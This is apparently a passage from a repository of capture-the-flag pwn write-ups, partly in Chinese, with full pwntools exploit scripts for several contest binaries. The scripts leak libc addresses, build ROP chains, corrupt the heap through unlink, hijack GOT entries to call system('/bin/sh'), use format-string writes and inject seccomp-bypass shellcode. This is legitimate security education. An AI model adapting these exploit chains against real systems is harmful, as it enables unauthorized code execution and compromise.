log.success('libc base: ' + hex(libc_base)) 88 | environ = libc_base + libc.symbols['environ'] 89 | pop_rdi_ret = libc_base + 0x21102 90 | binsh = libc_base + next(libc.search('/bin/sh\x00')) 91 | system = libc_base + libc.symbols['system'] 92 | 93 | # leak stack address 94 | start(0, 'S'*90+p64(environ-4)[:6]+'\n', 49, 50, 51) #1 95 | view() 96 | r.recvuntil('Project: ') 97 | r.recvuntil('Project: ') 98 | stack_addr = u64(r.recvn(6)+'\x00'*2) 99 | log.success('stack address: ' + hex(stack_addr)) 100 | canary_addr = stack_addr - 0x100 + 1 101 | 102 | # leak canary 103 | start(0, 'T'*90+p64(canary_addr-4)[:6]+'\n', 52, 53, 54) #2 104 | view() 105 | r.recvuntil('Project: ') 106 | r.recvuntil('Project: ') 107 | r.recvuntil('Project: ') 108 | canary = u64('\x00'+r.recvn(7)) 109 | log.success('canary: ' + hex(canary)) 110 | 111 | raw_input('#') 112 | 113 | # stack overflow ! 114 | start(0, 'U'*104+p64(canary)+'U'*40+p64(pop_rdi_ret)+p64(binsh)+p64(system)+'\n', 55, 56, 57) 115 | 116 | r.interactive() 117 | -------------------------------------------------------------------------------- /HITB-GSEC-CTF-2017/SENTOSA/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/HITB-GSEC-CTF-2017/SENTOSA/libc.so.6 -------------------------------------------------------------------------------- /HITB-GSEC-CTF-2017/SENTOSA/sentosa: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/HITB-GSEC-CTF-2017/SENTOSA/sentosa -------------------------------------------------------------------------------- /HITCON-2017-qual/Impeccable-Artifact/README.md: -------------------------------------------------------------------------------- 1 | # 完美無瑕\~Impeccable Artifact\~ 2 | 3 | ``` 4 | Arch: amd64-64-little 5 | RELRO: Full RELRO 6 | Stack: Canary found 7 | NX: NX enabled 8 | PIE: PIE enabled 9 | ``` 10 | 11 | ## Analysis 12 | 13 | This challenge is a memo system, we can write to and read from stack. The target index isn't checked, thus we get handy arbitrarily read/write to use. 14 | 15 | ```c 16 | while ( 1 ) 17 | { 18 | menu(); 19 | idx = 0; 20 | _isoc99_scanf("%d", &choice); 21 | if ( choice != 1 && choice != 2 ) 22 | break; 23 | puts("Idx?"); 24 | _isoc99_scanf("%d", &idx); 25 | if ( choice == 1 ) 26 | { 27 | printf("Here it is: %lld\n", memo[idx]); // arbitrarily read 28 | } 29 | else 30 | { 31 | puts("Give me your number:"); 32 | _isoc99_scanf("%lld", &memo[idx]); // arbitrarily write 33 | } 34 | } 35 | ``` 36 | 37 | We can't simply just leak libc base address and do ROP to get a shell, however, since it enables seccomp to blocks some system call. 38 | Thanks for the powerful [seccomp-tools](https://github.com/david942j/seccomp-tools) developed by **@david942j**, we can trace the seccomp filter clearly: 39 | 40 | ![](seccomp.png) 41 | 42 | Apparently, `execve` and `execveat` get blocked, we need to find a way to leak the flag directly. 43 | 44 | ## Exploit 45 | 46 | My plan is gaining executable permission on `.bss` and writing shellcode to `open -> read -> write` the flag. For the system call I will use, I have to satisfy their constraints: 47 | 48 | * `mprotect`: `args[2] & 0x1 != 1` 49 | hence I set permission of partial `.bss` to `-wx`, this way `args[2]` will be 6 50 | * `open`: `sys_number == args[2]` 51 | under x86_64, syscall number of `open` is 2, thus I set the third argument to 2 52 | * `read`: allow directly 53 | * `write`: allow directory 54 | 55 | With this constraints in mind, I construct ROP chain to read shellcode, get executable permission and finally return to shellcode to print the flag out. I guess the path of flag to be `/home/artifact/flag` and it actually works :D 56 | 57 | flag: `hitcon{why_libseccomp_cheated_me_Q_Q}` 58 | -------------------------------------------------------------------------------- /HITCON-2017-qual/Impeccable-Artifact/artifact: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/HITCON-2017-qual/Impeccable-Artifact/artifact -------------------------------------------------------------------------------- /HITCON-2017-qual/Impeccable-Artifact/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('52.192.178.153', 31337) 6 | libc = ELF('libc.so.6') 7 | context.arch = 'amd64' 8 | 9 | def show(index): 10 | r.sendlineafter('Choice?\n', '1') 11 | r.sendlineafter('Idx?\n', str(index)) 12 | 13 | def memo(index, num): 14 | r.sendlineafter('Choice?\n', '2') 15 | r.sendlineafter('Idx?\n', str(index)) 16 | r.sendlineafter('Give me your number:\n', str(num)) 17 | 18 | def leave(): 19 | r.sendlineafter('Choice?\n', '3') 20 | 21 | # leak code base 22 | show(0xca) 23 | r.recvuntil('Here it is: ') 24 | code_base = (int(r.recvline()[:-1]) & 0xffffffffffffffff) - 0xbb0 25 | log.success('code base: ' + hex(code_base)) 26 | bss = code_base + 0x202000 27 | 28 | # leak libc address 29 | show(0xcb) 30 | r.recvuntil('Here it is: ') 31 | libc_base = (int(r.recvline()[:-1]) & 0xffffffffffffffff) - 0x203f1 32 | log.success('libc base: ' + hex(libc_base)) 33 | 34 | pop_rdi_ret = libc_base + 0x1fd7a 35 | pop_rsi_ret = libc_base + 0x1fcbd 36 | pop_rdx_ret = libc_base + 0x1b92 37 | mprotect = libc_base + libc.symbols['mprotect'] 38 | read = libc_base + libc.symbols['read'] 39 | 40 | # open, read and write /home/artifact/flag 41 | # let third argument of open be 2 is to satisfy the seccomp check: sys_number == args[2] 42 | shellcode = asm(""" 43 | mov r8, 0x000000000067616c 44 | push r8 45 | mov r8, 0x662f746361666974 46 | push r8 47 | mov r8, 0x72612f656d6f682f 48 | push r8 49 | mov rdi, rsp 50 | xor rsi, rsi 51 | mov rdx, 0x2 52 | mov rax, 0x2 53 | syscall 54 | 55 | mov rdi, rax 56 | mov rsi, {} 57 | mov rdx, 0x60 58 | xor rax, rax 59 | syscall 60 | 61 | mov rdx, rax 62 | mov rdi, 1 63 | mov rsi, {} 64 | mov rax, 1 65 | syscall 66 | """.format(bss+0xf00, bss+0xf00)) 67 | 68 | memo(0xcb, pop_rdi_ret) 69 | memo(0xcc, 0x0) 70 | memo(0xcd, pop_rsi_ret) 71 | memo(0xce, bss+0xc00) 72 | memo(0xcf, pop_rdx_ret) 73 | memo(0xd0, 0x200) 74 | memo(0xd1, read) 75 | 76 | memo(0xd2, pop_rdi_ret) 77 | memo(0xd3, bss) 78 | memo(0xd4, pop_rsi_ret) 79 | memo(0xd5, 0xe00) 80 | memo(0xd6, pop_rdx_ret) 81 | memo(0xd7, 0x6) # 0x6 & 0x1 != 1 82 | memo(0xd8, mprotect) 83 | 84 | memo(0xd9, bss+0xc00) 85 | leave() # trigger return to shellcode 86 | 87 | r.send(shellcode) 88 | 89 | r.interactive() 90 | 91 | # hitcon{why_libseccomp_cheated_me_Q_Q} 92 | -------------------------------------------------------------------------------- /HITCON-2017-qual/Impeccable-Artifact/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/HITCON-2017-qual/Impeccable-Artifact/libc.so.6 -------------------------------------------------------------------------------- /HITCON-2017-qual/Impeccable-Artifact/seccomp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/HITCON-2017-qual/Impeccable-Artifact/seccomp.png -------------------------------------------------------------------------------- /HITCONCTF_2016_qual/README.md: -------------------------------------------------------------------------------- 1 | # HITCONCTF_2016_qual 2 | -------------------------------------------------------------------------------- /HITCONCTF_2016_qual/SecretHolder/README.md: -------------------------------------------------------------------------------- 1 | # Secret Holder 2 | 這題是比賽結束後照著 **bruce** 學長的想法解出來的,過程中除了複習了還不太熟悉的 unlink exploit 也新學到了幾個 heap 的特性,所以也寫一篇來記錄 XD。 3 | 4 | ## 觀察程式 5 | 首先看一下程式提供的幾項功能: 6 | * `keepSecret`:分配 3 種不同大小的空間,並接受對應大小的輸入到該空間 7 | * `wipeSecret`:`free` 掉某個大小的空間 8 | * `renewSecret`:可以重新寫入某個大小的空間 9 | 10 | 以及程式中 global 段的幾個變數: 11 | ``` 12 | 0|-------------| 13 | | | 14 | | big_ptr | # point to allocated 40bytes 15 | | | 16 | 8|-------------| 17 | | | 18 | | huge_ptr | # point to allocated 4000bytes 19 | | | 20 | 16|-------------| 21 | | | 22 | | small_ptr | # point to allocated 400000bytes 23 | | | 24 | 24|-------------| 25 | | big_flag | # set to 1 when use keep big secret 26 | 28|-------------| 27 | | huge_flag | # set to 1 when use keep huge secret 28 | 32|-------------| 29 | | small_flag | # set to 1 when use keep small secret 30 | |-------------| 31 | ``` 32 | 33 | ## 解題流程 34 | 35 | 在開始之前要先知道一件事。動態申請的空間到一定的大小後,會使用 `mmap` 來分配,得到的空間將不會在 heap 上。不過當我們 `free` 掉這塊空間後再次分配相同大小的空間,會發現他改用 `malloc` 來分配了!我有試著觀察這個機制,可以參考 [mmap_test](https://github.com/briansp8210/CTF_writeup/blob/master/HITCONCTF_2016_qual/SecretHolder/mmap_test.md)。 36 | 37 | 於是我們可以利用這點讓 huge 和 small 兩塊 chunk 重疊,並讓 big 接在 small 後面。 38 | 接著就可以開始準備做 unlink 的準備,這裡我們打算在 small chunk 裡面造假 chunk,接著 `free` big chunk,目標是在 unlink 後 huge_ptr 會等於 `(&huge_ptr - 0x18)`。 39 | 可以透過 renew huge 來寫入要控的值: 40 | 41 | ```python 42 | renew(3, 'E'*8 + p64(0x21) + p64(huge_ptr-0x18) + p64(huge_ptr-0x10) + p64(0x20) + p64(0xfb0)) 43 | ``` 44 |
45 | # 我們的目標,huge_ptr = 0x6020a8
46 | 
47 | small/huge chunk  -> 0x0000000000000000      0x0000000000000031
48 | huge_ptr point to -> 0x4545454545454545      0x0000000000000021
49 |                      0x0000000000602090      0x0000000000602098
50 |        big chunk  -> 0x0000000000000020      0x0000000000000fb0
51 |  big_ptr point to -> 0x434343434343430a      0x000000000000000a
52 |                      0x0000000000000000      0x0000000000000000
53 |                      0x0000000000000000      0x0000000000000000
54 | 
55 | 56 | 成功之後我們就可以去 renew huge 來把 huge_ptr 蓋成 `free@got.plt`,順便把位址更高的 small_ptr 蓋成 `__libc_start_main@got.plt`。 57 | 58 | ```python 59 | renew(3, 'F'*24 + p64(free_got) + p64(libc_start_main_got)) 60 | ``` 61 |
62 | 0x602090:              0x4646464646464646      0x4646464646464646
63 | 0x6020a0:              0x4646464646464646      0x0000000000602018 <- huge_ptr
64 | 0x6020b0: small_ptr -> 0x0000000000602048      0x000000010000000a
65 | 0x6020c0:              0x0000000000000001      0x0000000000000000
66 | 
67 | 68 | 接著只要再 renew huge 送 `puts@plt` 進去,就可以將 `free` 蓋成 `puts` 了。 69 | 又因為我們剛才把 small_ptr 蓋成 `__libc_start_main@got.plt`,我們可以用 wipe small 來 leak 出 libc address,從而推出 libc base address。 70 | 71 | 接著,我們再一次用 renew huge 把 `system` 給送上去,這樣就把 `free` 蓋成 `system` 了。然後我們利用 keep small 把 `"/bin/sh"` 寫進 small_ptr。最後,用 wipe small 的時候就會從 `free(small_ptr)` 變成 `system("/bin/sh")`,順利取得 shell! 72 | 73 | -------------------------------------------------------------------------------- /HITCONCTF_2016_qual/SecretHolder/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from pwn import * 3 | 4 | #r = remote('52.68.31.117', 6666) 5 | r = remote('127.0.0.1', 4000) 6 | #libc = ELF('/root/CTF/HITCON2016/libc.so.6_375198810bb39e6593a968fcbcf6556789026743') 7 | libc = ELF('/root/glibc-2.19/64/lib/libc.so.6') 8 | 9 | huge_ptr = 0x6020a8 10 | small_ptr = 0x6020b0 11 | puts_plt = 0x4006c0 12 | free_got = 0x602018 13 | libc_start_main_got = 0x602048 14 | libc_start_main_off = libc.symbols['__libc_start_main'] 15 | system_off = libc.symbols['system'] 16 | 17 | def keep(level, s): 18 | r.recvuntil('3. Renew secret') 19 | r.send('1') 20 | r.recvuntil('3. Huge secret') 21 | r.send(str(level)) 22 | r.recvuntil('Tell me your secret: ') 23 | r.send('{}'.format(s)) 24 | 25 | def wipe(level): 26 | r.recvuntil('3. Renew secret') 27 | r.send('2') 28 | r.recvuntil('3. Huge secret') 29 | r.send(str(level)) 30 | 31 | def renew(level, s): 32 | r.recvuntil('3. Renew secret') 33 | r.send('3') 34 | r.recvuntil('3. Huge secret') 35 | r.send(str(level)) 36 | r.recvuntil('Tell me your secret: ') 37 | r.send('{}'.format(s)) 38 | 39 | # allocate 0x40000 bytes throgh mmap 40 | keep(3, 'A'*8) 41 | 42 | # allocate for small_ptr 43 | keep(1, 'B'*8) 44 | 45 | # allocate for big_ptr 46 | keep(2, 'C'*8) 47 | 48 | wipe(3) 49 | wipe(1) 50 | wipe(2) 51 | 52 | # this time, use malloc instead of mmap to allocate 0x40000 bytes ! 53 | keep(3, 'A'*8) 54 | 55 | # use double free so that later we can let small and huge overlap 56 | wipe(1) 57 | 58 | # small now overlap with huge 59 | keep(1, 'B'*8) 60 | 61 | # smallbin follow right after fastbin 62 | keep(2, 'C'*8) 63 | 64 | 65 | # write some crutial data for the following unlink exploit 66 | renew(3, 'E'*8 + p64(0x21) + p64(huge_ptr-0x18) + p64(huge_ptr-0x10) + p64(0x20) + p64(0xfb0)) 67 | 68 | # free(big_ptr) unlink!! 69 | wipe(2) 70 | 71 | # overwrite from &huge_ptr-0x18 72 | renew(3, 'F'*24 + p64(free_got) + p64(libc_start_main_got)) 73 | 74 | # GOT hijack free to puts 75 | renew(3, p64(puts_plt)) 76 | 77 | # free(small_ptr) -> puts("__libc_start_main@got.plt") 78 | wipe(1) 79 | 80 | base = u64(r.recvuntil('3. Renew secret')[1:7] + '\x00'*2) - libc_start_main_off 81 | print "libc base: ", hex(base) 82 | 83 | system = base + system_off 84 | 85 | # GOT hijack free to system 86 | r.send('3') 87 | r.recvuntil('3. Huge secret') 88 | r.send('3') 89 | r.recvuntil('Tell me your secret: ') 90 | r.send(p64(system)) 91 | 92 | # write "/bin/sh" to small_ptr 93 | keep(1, '/bin/sh\x00') 94 | 95 | # free(small_ptr) -> system("/bin/sh") 96 | wipe(1) 97 | 98 | r.interactive() 99 | -------------------------------------------------------------------------------- /HITCONCTF_2016_qual/SecretHolder/mmap_test.md: -------------------------------------------------------------------------------- 1 | # mmap and malloc test 2 | 3 | ```c 4 | #include 5 | 6 | int main(void) 7 | { 8 | int *p, *q, *r, *s, *t, *u; 9 | 10 | p = malloc(0x32000); 11 | free(p); 12 | q = malloc(0x32000); 13 | free(q); 14 | r = malloc(0x40000); 15 | free(r); 16 | s = malloc(0x40000); 17 | free(s); 18 | t = malloc(0x64000); 19 | free(t); 20 | u = malloc(0x64000); 21 | free(u); 22 | 23 | return 0; 24 | } 25 | ``` 26 | 27 | ## 利用 ltrace 測試結果 28 | ``` 29 | __libc_start_main(0x400536, 1, 0x7ffca9664a78, 0x4005f0 30 | malloc(204800) = 0x7fa82df73010 31 | free(0x7fa82df73010) = 32 | malloc(204800) = 0x69f010 33 | free(0x69f010) = 34 | malloc(262144) = 0x69f010 35 | free(0x69f010) = 36 | malloc(262144) = 0x69f010 37 | free(0x69f010) = 38 | malloc(409600) = 0x7fa82df41010 39 | free(0x7fa82df41010) = 40 | malloc(409600) = 0x69f010 41 | free(0x69f010) = 42 | +++ exited (status 0) +++ 43 | ``` 44 | 45 | 可以注意到第一次分配大空間並 free 掉之後,接下來再要相同或稍大的空間時,都會拿到 heap 中的空間。不過若是再要更大一點的空間,又會由 `mmap` 來分配。不過 free 掉後再要一次又會拿到 heap 裡的空間。 46 | 和 malloc.c 裡面的說明相對照,應該是有一個門檻,只要要求的大小過了該門檻就會先用 `mmap` 來分配,並在該空間被 free 掉後提高門檻。 47 | malloc.c 中的註解: 48 | 49 | ``` 50 | The threshold goes up in value when the application frees memory that was 51 | allocated with the mmap allocator. The idea is that once the application 52 | starts freeing memory of a certain size, it's highly probable that this is 53 | a size the application uses for transient allocations. This estimator 54 | is there to satisfy the new third requirement. 55 | ``` 56 | 57 | 大概是這樣,如果有錯誤的話還請務必指出 XD 58 | -------------------------------------------------------------------------------- /HITCONCTF_2016_qual/SecretHolder/test.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | int *p, *q, *r, *s, *t, *u; 6 | 7 | p = malloc(0x32000); 8 | free(p); 9 | q = malloc(0x32000); 10 | free(q); 11 | r = malloc(0x40000); 12 | free(r); 13 | s = malloc(0x40000); 14 | free(s); 15 | t = malloc(0x64000); 16 | free(t); 17 | u = malloc(0x64000); 18 | free(u); 19 | 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /MMACTF_2nd_2016/README.md: -------------------------------------------------------------------------------- 1 | # MMACTF_2nd_2016 2 | -------------------------------------------------------------------------------- /MMACTF_2nd_2016/greeting/README.md: -------------------------------------------------------------------------------- 1 | greeting 2 | ========== 3 | 這題花了很多時間試各種解法,最後還是看了學長的提示才知道方向QQ 不過也是學會新東西了! 4 | 5 | 解題流程 6 | ---------- 7 | 這題會先用 getnline() 接收 63bytes 的輸入,然後用帶有 format string 漏洞的 printf 連同一些歡迎訊息一起印出來。 8 | 9 | 首先,我們可以看到 getnline 裡面有呼叫 ```strlen```,並且參數是我們可控的 input buffer,若我們利用上面提到的漏洞將 strlen 的 GOT 寫成 ```system```,然後輸入 ```"/bin/sh"```,我們即可拿到 shell。 10 | 11 | 80486bc: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 12 | 80486bf: 89 04 24 mov DWORD PTR [esp],eax 13 | 80486c2: e8 f9 fd ff ff call 80484c0 14 | 15 | 但是問題在於 printf 是在 getnline 結束後才被呼叫的,利用 printf 改 GOT 已經太遲了。 16 | 此時可行的一個方法是我們將程式控回 call getnline 之前,這樣就可以再去 call strlen 一次了! 17 | 所以我們可以把 ```.fini_array``` 這個 section 裡面的某個 function pointer,像這裡我把 ```__do_global_dtors_aux```,給改成 ```main``` 的位址。 18 | 19 | [20] .fini_array FINI_ARRAY 08049934 000934 000004 00 WA 0 0 4 20 | 21 | 這個 section 是當程式要結束前會來執行這裡面放的一些 function,來進行一些終止前的作業。 22 | 23 | ---------- 24 | 25 | 所以我們要做的就是在一個 printf 的 call 裡面完成 strlen GOT 的覆蓋以及 .fini_array 裡面的值。 26 | 這裡要特別注意的是題目有列出這條限制: 27 | 28 | Note: To prevent from DoS attacks, output length is limited in 131072 characters. 29 | 30 | 一開始我沒有考慮到這個問題,任意擺放要蓋的順序,結果就是產生太多不必要的 overflow 輸出,比題目限制多噴了 2000 多個 characters QAQ 31 | 32 | 後來 **@nae** 建議我將要蓋的數值由小排到大。假設 addr1 要蓋成 0x1234、addr2 要蓋成 0x1230,那擺到 buffer 上的順序就是 ```p32(addr2) + p32(addr1)```。這樣可以避免後面要蓋的值比前面小,導致必須 overflow 後重新算,造成的大量輸出。 33 | 34 | 都蓋成功後當程式等輸入時送進 "/bin/sh",等一下 call strlen 的時候就可以成功得到 shell 了! 35 | 36 | -------------------------------------------------------------------------------- /MMACTF_2nd_2016/greeting/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from pwn import * 3 | 4 | s = remote('127.0.0.1', 4000) 5 | #s = remote('pwn2.chal.ctf.westerns.tokyo', 16317) 6 | 7 | fini_array = 0x08049934 8 | main = 0x080485ed 9 | strlen_got = 0x08049a54 10 | system_plt = 0x08048490 11 | 12 | fmt = 'AA' 13 | fmt += p32(strlen_got + 2) + p32(strlen_got) + p32(fini_array) 14 | printed = 18+2+12 15 | 16 | fmt += '%{}c%{}$hn'.format(0x0804-printed, 12) 17 | printed = 0x0804 18 | 19 | fmt += '%{}c%{}$hn'.format(0x8490-printed, 13) 20 | printed = 0x8490 21 | 22 | fmt += '%{}c%{}$hn'.format(0x85ed-printed, 14) 23 | 24 | # order : 0x0804 0x8490 0x85ed 25 | 26 | #print 'len(fmt) = ',len(fmt) 27 | 28 | s.sendline(fmt) 29 | 30 | ########## return to main ########## 31 | 32 | s.sendline('/bin/sh\x00') 33 | 34 | s.interactive() 35 | -------------------------------------------------------------------------------- /MeePwn-CTF-2017/bs/README.md: -------------------------------------------------------------------------------- 1 | # [MeePwn CTF 1st 2017] bs 2 | 3 | > Category: pwnable 4 | > Author: briansp8210 @ BambooFox 5 | 6 | ``` 7 | RELRO: Partial RELRO 8 | Stack: No canary found 9 | NX: NX enabled 10 | PIE: No PIE (0x8048000) 11 | ``` 12 | 13 | 程式主要做的是接受使用者輸入一組數字,隨後進行 binary search。 14 | 首先會需要登入,如果輸入的密碼正確就可以以 root 登入,否則就必須指定一個非 0 的 uid。 15 | 接著 `check_root()` 會檢查是否為 root,這裡他只比對 uid 的低 2 bytes,因此若是用像 `0xffff0000` 這樣的 uid 是可以成功繞過檢查的。 16 | 17 | ```c 18 | if ( !(_WORD)uid ) 19 | is_root = 1; 20 | ``` 21 | 22 | 接下來就輸入要 sort 多少數字,並逐一輸入。這裡只有 root 身分才能夠 sort 超過 31 個數字。 23 | 在輸入完後可以看剛剛給了什麼數字,這裡沒有檢查 index 是否為正,因此可以讀到 `.got.plt` 上的值,[查詢](https://libc.blukat.me/?q=printf%3Af30%2Cread%3A2a0&l=libc6_2.24-3ubuntu2.2_i386)之後得知是 `libc6_2.24-3ubuntu2.2_i386`。 24 | 在 `bubble_sort` 之後就可以指定要 search 哪一個值並開始搜。過程中用來存左右界和中間點 index 的變數都是 `char` 型別,所以像 sort number 較多,而一開始 `array[mid_idx] < target_val` 的情況下,中間點 index 就會 overflow 成負的。 25 | 26 | ```c 27 | while ( l_bnd <= r_bnd ) 28 | { 29 | printf("MID[%hhi] is 0x%x\n", mid_idx, array[mid_idx]); 30 | if ( array[mid_idx] >= target_val ) 31 | { 32 | if ( array[mid_idx] == target_val ) 33 | { 34 | printf("%d found at %hhi !!!\n", target_val, mid_idx); 35 | edit(mid_idx); 36 | break; 37 | } 38 | r_bnd = mid_idx - 1; 39 | mid_idx = l_bnd + mid_idx - 1; 40 | mid_idx /= 2; 41 | } 42 | else 43 | { 44 | l_bnd = mid_idx + 1; 45 | mid_idx += 1 + r_bnd; 46 | mid_idx /= 2; 47 | } 48 | } 49 | ``` 50 | 51 | 我這邊是搜 `0x6fffffff`,這是 `array[-41]` 的原始值,因此 binary search 跑到 -41 的地方會成功找到目標,並呼叫 `edit(-41)`。`edit()` 會從傳入的 index 開始,針對各個 `array` 的元素詢問是否要做修改。由於這裡傳入的是 -41,我們可以改的範圍從 `array[-41]` 到 `array[126]`,涵蓋 `.got.plt`。 52 | 首先,我把 `open@got.plt` 改去跑 `xor eax, eax ; ret` ,這會讓 `login()` 改從 `stdin` 讀密碼。接著再把 `memcpy@got.plt` 蓋成 `system`,以及 `__isoc99_scanf@got.plt` 蓋成 `main`。如此一來就可以 return 回 `main`,並在 `login()` 中比對密碼的地方呼叫 `system("/bin/sh")`。 53 | 54 | ```c 55 | fd = open("/dev/urandom", 0); 56 | read(fd, &correct_password, 16u); 57 | puts("Enter your password:"); 58 | read(0, &password, 16u); 59 | if ( !memcmp(&correct_password, &password, 16u) ) 60 | { 61 | puts("Welcome back master !"); 62 | uid = 0; 63 | } 64 | ``` 65 | 66 | flag: `MeePwnCTF{C_1n73g3r_0v3v3rFl0w}` 67 | -------------------------------------------------------------------------------- /MeePwn-CTF-2017/bs/bit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/MeePwn-CTF-2017/bs/bit -------------------------------------------------------------------------------- /MeePwn-CTF-2017/bs/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('128.199.135.210', 31335) 6 | 7 | libc = ELF('libc6_2.24-3ubuntu2.2_i386.so') 8 | main = 0x08048942 9 | 10 | # login as root for more number to sort 11 | r.sendafter('Enter your password:', '\n') 12 | r.sendlineafter('Please set your user_id: ', '-65536') # -65536 == 0xffff0000 13 | 14 | r.sendlineafter('How many numbers do you want to sort ?', '127') 15 | for i in range(127): 16 | r.sendline('0') 17 | 18 | # leak libc address 19 | r.sendlineafter('Enter -1 to break', '-21') 20 | r.recvline() 21 | libc_base = int(r.recvline(), 16) - libc.symbols['read'] 22 | log.success('libc base: ' + hex(libc_base)) 23 | 24 | system = libc_base + libc.symbols['system'] 25 | xor_eax_eax_ret = libc_base + 0x0002c92c 26 | 27 | r.sendline('-1') 28 | r.sendlineafter('Enter value to find', str(0x6fffffff)) 29 | 30 | # -19 => memcmp 31 | # -16 => open 32 | # -13 => scanf 33 | 34 | # hijack memcmp to system 35 | for i in range(41-19): 36 | r.sendafter('Do you want to edit it ?', 'n') 37 | r.sendafter('Do you want to edit it ?', 'y') 38 | r.sendlineafter('Enter new value', str(system)) 39 | 40 | # make open just return 0 41 | for i in range(18-16): 42 | r.sendafter('Do you want to edit it ?', 'n') 43 | r.sendafter('Do you want to edit it ?', 'y') 44 | r.sendlineafter('Enter new value', str(xor_eax_eax_ret)) 45 | 46 | # hijack scanf to main 47 | for i in range(15-13): 48 | r.sendafter('Do you want to edit it ?', 'n') 49 | r.sendafter('Do you want to edit it ?', 'y') 50 | r.sendlineafter('Enter new value', str(main)) 51 | 52 | # trigger scanf to return to main 53 | r.sendafter('Do you want to edit it ?', 'y') 54 | 55 | r.sendafter('Enter new value\n', '/bin/sh\x00') 56 | r.sendafter('Enter your password:\n', 'deadbeef') 57 | 58 | r.interactive() 59 | -------------------------------------------------------------------------------- /MeePwn-CTF-2017/bs/libc6_2.24-3ubuntu2.2_i386.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/MeePwn-CTF-2017/bs/libc6_2.24-3ubuntu2.2_i386.so -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF-writeup 2 | 3 | Write-ups for CTF challenges (mainly Pwn) I solved or practiced. 4 | -------------------------------------------------------------------------------- /SECCON-2016-online-CTF/README.md: -------------------------------------------------------------------------------- 1 | # SECCON-2016-online-CTF 2 | -------------------------------------------------------------------------------- /SECCON-2016-online-CTF/checker/README.md: -------------------------------------------------------------------------------- 1 | # checker 2 | 3 | > category: Exploit 4 | > points: 300 5 | 6 | 在解這題的時候走錯方向,一直想 overflow 在 bss 段的 name buffer 來看能不能印出 flag。後來看到 bruce 學長的思路,以及在賽後看了 [writeup](https://github.com/Inndy/ctf-writeup/tree/master/2016-seccon/checker),才知道這題可以用 SSP (Stack Smash Protector) 來做。 7 | 8 | ## observe 9 | 10 | 這個程式一開始就會把 flag 給讀到位在 bss 的 buffer,所以如果能讀到那個位址,就可以得到 flag。另外在執行過程中也會有很多次輸入的機會。 11 | 第一次是讓使用者輸入名字,並存到 name buffer,由於這裡可以 overflow 到 flag,所以在這裡是了好久。 12 | 剩下的輸入都是直接寫到 main 的一個 local buffer,我們就是要利用這裡來 overflow。 13 | 14 | ## [SSP](http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf) 15 | 當程式有開啟 stack canary 時,只要我們 overflow 時改到存在 stack 上的隨機數,就會出現像這樣的警告: 16 | 17 | ``` 18 | *** stack smashing detected ***: ./checker terminated 19 | ``` 20 | 21 | 問題是,他是怎麼拿到我們執行檔的名稱呢?去看 `__stack_chk_fail` 的 source code 會發現他將警告訊息的前半部傳進 `__fortify_fail` 22 | 23 | ```c 24 | void 25 | __attribute__ ((noreturn)) 26 | __stack_chk_fail (void) 27 | { 28 | __fortify_fail ("stack smashing detected"); 29 | } 30 | ``` 31 | 32 | 再去觀察 `__fortify_fail` 就會發現我們的執行檔名稱是從 `argv[0]` 取得的 33 | 34 | ```c 35 | void 36 | __attribute__ ((noreturn)) internal_function 37 | __fortify_fail (const char *msg) 38 | { 39 | /* The loop is added only to keep gcc happy. */ 40 | while (1) 41 | __libc_message (2, "*** %s ***: %s terminated\n", 42 | msg, __libc_argv[0] ?: ""); 43 | } 44 | ``` 45 | 46 | 所以我們如果能控到位於 stack 的 `argv` 陣列,我們就可以將 `argv[0]` 改成我們要 leak 的位址,並且觸發 `__stack_chk_fail` 來印出該位址的內容,像這題我們就可以把 argv[0] 改成 flag buffer 的位址來印出 flag。 47 | 48 | ## exploit 49 | 50 | 首先要找到 `argv[0]` 和輸入 buffer 的 offset,這裡利用 qira 來找會比較方便。不過這個時候還沒辦法直接將 flag buffer 的位址給蓋上去,因為他的位址只有 3bytes,但是如果用 gdb 觀察會發現那裏原本用了 6bytes 來存位址,所以我們直接蓋的話會蓋不到高位導致失敗。所以這裡我們要先利用程式問我們知不知道 flag 的那個迴圈,以及他提供的 `getaline` 會在輸入結尾補 null byte 的特性來把高位清空。接著就可以將 flag buffer 的位址填上去來 leak flag。 51 | 52 | ``` 53 | *** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated 54 | ``` 55 | 56 | 57 | -------------------------------------------------------------------------------- /SECCON-2016-online-CTF/checker/checker: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/SECCON-2016-online-CTF/checker/checker -------------------------------------------------------------------------------- /SECCON-2016-online-CTF/checker/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('checker.pwn.seccon.jp', 14726) 6 | 7 | flag_txt = 